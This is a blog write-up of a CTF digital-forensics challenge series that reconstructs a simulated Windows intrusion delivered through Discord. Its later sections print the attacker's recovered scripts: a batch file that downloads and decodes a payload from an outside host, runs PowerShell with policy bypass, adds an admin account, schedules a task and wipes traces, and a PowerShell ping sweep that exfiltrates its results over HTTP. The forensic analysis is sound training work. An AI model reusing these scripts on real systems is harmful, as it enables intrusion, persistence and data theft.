0xL4ugh{Slack_1.2.xxxx_ID_01–12–2001_01:01:05_AttackerName(No Spaces)}</em></blockquote><blockquote>ZIP Password: 0xL4ughCTF2024</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/511/1*FyzBnPGFtzarS2gzEsKeTw.png" /><figcaption>Gamer 1</figcaption></figure><p><a href="https://drive.google.com/drive/folders/1b8uozp3rdGTKo4VBsbPiMOg0oz-eO2zb?usp=drive_link">source</a></p><p>use tool Magnet AXIOM Process to create test case:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/814/1*54kh3IGT0iIJA91mnQTUkA.png" /><figcaption>create test case</figcaption></figure><p>CASE DETAIL:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LNJD7RbUMGJfuyS2W7KOIQ.png" /></figure><p>location for case files: case’s storage location</p><p>location for acquired evidence (bằng chứng thu được): file location needs forensics</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CKVupRRUZIoTvFDZ414Ujg.png" /><figcaption>evidence source</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GepHHx26aJo8Wb2Z-gyJPQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lG-moayx4CQTUcwGwuZstA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*napeHrpmMTcAI-pBskEnRw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EbYT1Wchq7ZIYfQS4F3U1A.png" /></figure><p>click analyze evidence:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BI7BQOVAJ400y73OPH7Mew.png" /></figure><p>Magnet AXIOM process will automatically open Magnet AXIOM Examine and wait</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hzTR6PF--k3MYLizEjmU8A.png" /></figure><p>open <strong><em>Artifacts</em></strong>:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PDNPJ5zUHm3Nc7wymqQr2A.png" /></figure><blockquote>Q1 — Can you identify the application utilized for the initial access and its version? (Example: Slack_1.2.4)</blockquote><p>Check Download folder and see the discord application:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*E7kOkF5ykTC2N-TRl2nbcw.png" /><figcaption>discord.exe</figcaption></figure><p>Check Edge download:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oWZaHUNN9RGmW4BC5vYpMA.png" /><figcaption>unauthorized app</figcaption></figure><p>a rar file has been loaded from the discord app</p><p>-&gt; Q1: <strong><em>Discord and version 1.0.9028</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dQWhfiW2rO7JNT-UfPwY8g.png" /></figure><blockquote>Q2- What is the attacker’s ID and their account creation date?(Initial Access)</blockquote><p>check in Discord Messages:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rlpnv_2LHBm79A9G7ZuAtA.png" /><figcaption>username: t4r3kk</figcaption></figure><p>i found the attaker:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BDayfQr4G54GjjNh_NsDPQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/868/1*DOHFUNn-TwoQHJT4TDcbSw.png" /></figure><p>=&gt; Q2: 964399437671710790_15–4–2022_05:39:03</p><p>way 2:</p><p>i found the <a href="https://abrignoni.blogspot.com/2018/03/finding-discord-app-chats-in-windows.html">blog</a></p><p>find Cache folder:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Lv6dmeI7lO5jrKFvIqYiQw.png" /><figcaption>Cache discord</figcaption></figure><p>The user activity files are located in the Cache folder</p><p>it is the same file format of the GG Chrome:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*05YsIPGTsrsx1zxjBSE_PQ.png" /><figcaption>Chrome</figcaption></figure><p>use tool <a href="https://www.nirsoft.net/utils/chrome_cache_view.html">chromecacheview</a></p><p>the tool will by default parse the cache the chrome at the default folder location</p><ul><li>&gt; point the tool to Discord cache folder</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PsGzkGw5JiZdHTfnWYgSIg.png" /><figcaption>copy path Discord cache folder</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*em0fECEcS8VusvgT7C1QSw.png" /><figcaption>paste</figcaption></figure><p>find the chat with <em>message?limit=50 and export</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MMtRi-3nmC0A91993lh6Ug.png" /><figcaption>50.json</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ecx7e-70A3NFcxs4uo_iBA.png" /><figcaption>export</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*axJOzsyiJc4fR2zBeAYdHA.png" /></figure><p>it’s also very difficult to see</p><p>use <a href="https://github.com/abrignoni/JSON-to-HTML-and-XLS">tool</a> convert json chat to html or xls for reading</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*d7SJgihyXf-cVl7NrcEMiQ.png" /><figcaption>json to html</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zwoLRbRrHpYPwX2Wr5iuKQ.png" /></figure><blockquote>Q3- What is the full real name of the attacker(little Osint)?</blockquote><p>reverse image search:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XfCVjskFRIjGEPzv0vqOEQ.png" /><figcaption>Igor Dehtyarchuk</figcaption></figure><p>=&gt; Igor Dehtyarchuk</p><p>=&gt; FLAG:</p><pre>0xL4ugh{Discord_1.0.9028_964399437671710790_15-04-2022_05:39:03_IgorDekhtyarchuk}</pre><h4>Gamer 2</h4><blockquote>Same As Gamer 1</blockquote><blockquote>Q1 — Could you share the SHA256 hash of the harmful file and tell me how much time passed between receiving it initially and running the associated script?</blockquote><blockquote>Q2 — What is the CVE number that the attacker took advantage of?</blockquote><blockquote>Format: 0xL4ugh{SH256_HH:MM:SS_CVE-XXXX-XXXXX}</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/711/1*9RgrwWCnIPCjMjjFbtHxYQ.png" /><figcaption>gamer 2</figcaption></figure><blockquote>Q1 — Could you share the SHA256 hash of the harmful file and tell me how much time passed between receiving it initially and running the associated script?</blockquote><p>check sending time:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BOyHcrmsHmxwIVwC81aYEg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pDnjFn1OUKf1JgwM-KkH0Q.png" /></figure><p>check hash:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aWLPItTkK96PgplotU9L5A.png" /><figcaption>hash</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QqR42mJemJqbwzWtlHAiAA.png" /><figcaption>CVE 2023–38831</figcaption></figure><p>search with <strong><em>appmanifest</em></strong> keyword in image:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/996/1*-esOzfcpAG9gebEZ3K06CA.png" /></figure><p>we now need to know what program is linked to the malicious file and we will know when it was run</p><p>because an application is run for the first time on a system, Windows will create a prefetch file (.pf) at path <strong><em>C:\Windows\Prefetch</em></strong> . The file contains information abot how the application is loaded and executed is system’s memory (windows will use the information in this prefetch file to help the application start fast) <a href="https://medium.com/@cyberforensicator57/prefetch-files-101-2b19218124df">etc</a></p><p>find <strong><em>cmd</em></strong> in the prefetch folder and i analyze the prefetch file into a cmd and verify if it is executed and what time it is executed:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fppX3ixVBCm8icfNVmnIVQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VWXHwx4DU6aaDLmrcUhBkA.png" /></figure><p>use tool <a href="https://github.com/EricZimmerman/PECmd">PECmd</a> for analysis .pf file</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*75_L0u7CFSqC8TH8XXVJkA.png" /><figcaption>analysis</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6MyXJmaBau9ZpXrp3GoD5Q.png" /></figure><ul><li>&gt; CMD.EXE-0BD30981 is linked</li><li>&gt; last run: 2024–01–07 09:16:15</li><li>&gt; time start: 2024–01–06T23:36:30.716000+00:00 == 23:36:31</li><li>&gt; time: 09:39:44</li><li>&gt; HASH: E29F365335ADEEA575AE1E592BD50313C38BD89BF9FF6B7F7F06E6377B0661C3</li><li>&gt; CVE-2023–38831</li></ul><p>=&gt; FLAG:</p><pre>0xL4ugh{E29F365335ADEEA575AE1E592BD50313C38BD89BF9FF6B7F7F06E6377B0661C3_09:39:44_CVE-2023-38831}</pre><h4>Gamer 3</h4><blockquote>Same As Gamer 1</blockquote><blockquote>Q1- The intruder downloaded a malicious file. Provide the complete URL of the file along with its size in bytes. (URL_Bytes)</blockquote><blockquote>Q2- In the sequence of events, the attacker changed the name of the downloaded file. What is the new name? Afterward, the file was removed. Can you provide the timestamp when it was deleted?</blockquote><blockquote>Flag Format : 0xL4ugh{URL_Bytes_FileName_TimeStamp }</blockquote><blockquote><em>Example: 0xL4ugh{FullURL_1337_Filename.extention_DD-MM-YYYY_HH:MM:SS}</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/690/1*_R5Bipn1zNpdeE3_rgMXrw.png" /><figcaption>gamer 3</figcaption></figure><blockquote>Q1- The intruder downloaded a malicious file. Provide the complete URL of the file along with its size in bytes. (URL_Bytes)</blockquote><p>i’m going to review the Microsoft-Windows-Bits-Client.evtx log:</p><blockquote>Microsoft-Windows-Bits-Client.evtx is a log file that contain event related to the background Intelligent Transfer Service (BITS) on windows system (event id 59 start transfer with URL)</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6DtyowPOm786x-U9mV_JVA.png" /><figcaption>event id 59 start transfer</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tktjzLNMzRade1nVo4AZMQ.png" /><figcaption>2924 byte</figcaption></figure><p>=&gt; <a href="http://172.17.121.9:8080/ProfilePicture.jpg">http://172.17.121.9:8080/ProfilePicture.jpg</a>_2924 = Q1</p><blockquote><em>Q2- In the sequence of events, the attacker changed the name of the downloaded file. What is the new name? Afterward, the file was removed. Can you provide the timestamp when it was deleted?</em></blockquote><p>check <a href="https://nehrunayak.medium.com/windows-forensics-2-tryhackme-2d96345e3831">NTFS</a> and specify $J:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/867/1*Tg_lQl9LKma62XsS7wJ7SA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/840/1*9XjZhnYetHA6XwC9N10-GQ.png" /><figcaption>$J</figcaption></figure><p>using the MFTECmd tool to convert it to CSV and timeline explore tools to read the result. Link <a href="https://ericzimmerman.github.io/#!index.md">tool</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ye9MFPzzbe3VXYJ6PCHSCQ.png" /><figcaption>MFTECmd</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*haFCpn8VmTfYgNfnGcGy8A.png" /><figcaption>Timeline Explore</figcaption></figure><p>after downloading the ProfilePicture.jpg, attacker renamed the file to normal.zip</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4tb8_7w2Whj-_hZ0XCDRYw.png" /><figcaption>renamed</figcaption></figure><p>time deleted:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BRHkgJVNMsafBwCnq0BkiQ.png" /></figure><p>=&gt; normal.zip and 2024–01–07 09:16:23</p><p><a href="https://smyler.net/blog/0xl4ugh-2024-gamer/">ref</a></p><p>=&gt; FLAG</p><pre>0xL4ugh{http://172.17.121.9:8080/ProfilePicture.jpg_2924_normal.zip_07-01-2024_09:16:23}</pre><h4>Gamer 4</h4><blockquote>Same As Gamer — 1</blockquote><blockquote>The attacker created a scheduled task. Could you please provide the name of the task and the action command associated with it? FlagFormat: 0xL4ugh{SchudledTaskName_Command}</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/665/1*o9L4jhs_9tilJdvnZIrxZQ.png" /><figcaption>Game 4</figcaption></figure><pre>REM &quot;No worries mate. You just got hacked&quot;<br>mkdir C:\T3MP<br>cd C:\T3MP<br>bitsadmin /transfer Nothing /download /priority normal http://172.17.121.9:8080/ProfilePicture.jpg C:\T3MP\ProfilePicture.jpg<br><br>certutil -decode ProfilePicture.jpg normal.zip 1&gt;null<br>echo Get-ChildItem -Path &quot;C:\T3MP&quot; -Filter *.zip | Expand-Archive -DestinationPath &quot;C:\T3MP&quot; -Force 1&gt;C:\T3MP\z.ps1<br>cmd /c &quot;powershell -NOP -EP Bypass C:\T3MP\z.ps1&quot;<br>net user admin<br>IF 2 NEQ 0 (echo LOL, I win ) ELSE (<br>REM Remove LOL<br>  net user admin /active:no<br>  net localgroup administrators admin /del<br>)<br>LOL, I win<br>REM Hack The Planet<br>net user /add 7amoksha<br>net user 7amoksha *<br>net localgroup administrator 7amoksha /add<br>schtasks /create /sc minute /mo 1 /tn &quot;NothingSpecial&quot; /tr C:\T3MP\run.bat /RL HIGHEST<br>REM &quot;If I win, you become my slave.&quot;<br>del z.ps1<br>del ProfilePicture.jpg<br>del normal.zip<br>del C:\Windows\system32\Tasks\NothingSpecial</pre><p>=&gt; Task: NothingSpecial, command: C:\T3MP\run.bat</p><p>=&gt; FLAG:</p><pre>0xL4ugh{NothingSpecial_C:\T3MP\run.bat}</pre><h4>Gamer 5</h4><blockquote>Same as Gamer 1</blockquote><blockquote>Q1 -The attacker scanned a range of IPs, storing the results in a file for exfiltration. What’s the full path of the output file, the count of active hosts, and the IP &amp; Port used for exfiltration?</blockquote><blockquote>Q2- The attacker established a new account for persistence. Can you disclose the name of the new account and its creation date, please? TimeStamp (UTC) Format : 0xL4ugh{FullPath_Count_IP:Port_username_TimeStamp}</blockquote><blockquote><em>Exmaple: 0xL4ugh{C:*</em><strong><em>*</em></strong><em>\fileName.ext_0_127.0.0.1:1337_HackerAwyyy_DD-MM-YYYY_HH:MM:SS}</em></blockquote><p>analyzing run.ps1 file:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*w24rEm5NuETPegff8Mu52w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8KbvzUG5BkvR4jHVqrhs_g.png" /></figure><pre>$startIP = &quot;192.168.1.1&quot;<br>$endIP = &quot;192.168.1.17&quot;<br>$outputFile = &quot;C:\Users\Administrator\AppData\Local\Temp\A52148.txt&quot;<br><br>$start = [System.Net.IPAddress]::Parse($startIP).GetAddressBytes()[3]<br>$end = [System.Net.IPAddress]::Parse($endIP).GetAddressBytes()[3]<br><br>for ($current = $start; $current -le $end; $current++) {<br>    $currentIP = &quot;$($startIP.Substring(0, $startIP.LastIndexOf(&#39;.&#39;) + 1))$current&quot;<br>    $result = Test-Connection -ComputerName $currentIP -Count 1 -ErrorAction SilentlyContinue<br><br>    if ($result -ne $null) {<br>        Write-Host &quot;Host $currentIP is online.&quot;<br>        &quot;Host $currentIP is online.&quot; | Out-File -Append -FilePath $outputFile<br>    } else {<br>        Write-Host &quot;Host $currentIP is offline.&quot;<br>        &quot;Host $currentIP is offline.&quot; | Out-File -Append -FilePath $outputFile<br>    }<br>}<br><br>Write-Host &quot;Scan results saved to $outputFile&quot;<br>$var = [System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes(&#39;C:\Users\Administrator\AppData\Local\Temp\A52148.txt&#39;))<br>Invoke-WebRequest -Uri &quot;http://172.17.121.9:8080/$var&quot; -Method GET</pre><p>scan 1 -&gt; 17</p><p>result: Temp\A52148.txt and sent it to <a href="http://172.17.121.9:8080/">http://172.17.121.9:8080/</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0yP5Jz_laoT_WG1h_xcvaQ.png" /><figcaption>6 online</figcaption></figure><p>and user create:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BAlk1YGZ_ApC_mmLFubf4w.png" /><figcaption>7amoksha_07–01–2024_09:16:23</figcaption></figure><p>=&gt; FLAG:</p><pre>0xL4ugh{C:\Users\Administrator\AppData\Local\Temp\A52148.txt_6_172.17.121.9:8080_7amoksha_07-01-2024_09:16:23}</pre><p>ref:</p><ul><li><a href="https://abdelrahme.github.io/posts/0xl4ugh2024/">https://abdelrahme.github.io/posts/0xl4ugh2024/</a></li><li><a href="https://smyler.net/blog/0xl4ugh-2024-gamer/">https://smyler.net/blog/0xl4ugh-2024-gamer/</a></li><li><a href="https://medium.com/@cyberforensicator57/prefetch-files-101-2b19218124df">https://medium.com/@cyberforensicator57/prefetch-files-101-2b19218124df</a></li><li><a href="https://ericzimmerman.github.io/#!index.md">https://ericzimmerman.github.io/#!index.md</a></li><li><a href="https://nehrunayak.medium.com/windows-forensics-2-tryhackme-2d96345e3831">https://nehrunayak.medium.com/windows-forensics-2-tryhackme-2d96345e3831</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=298eab4adfe3" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>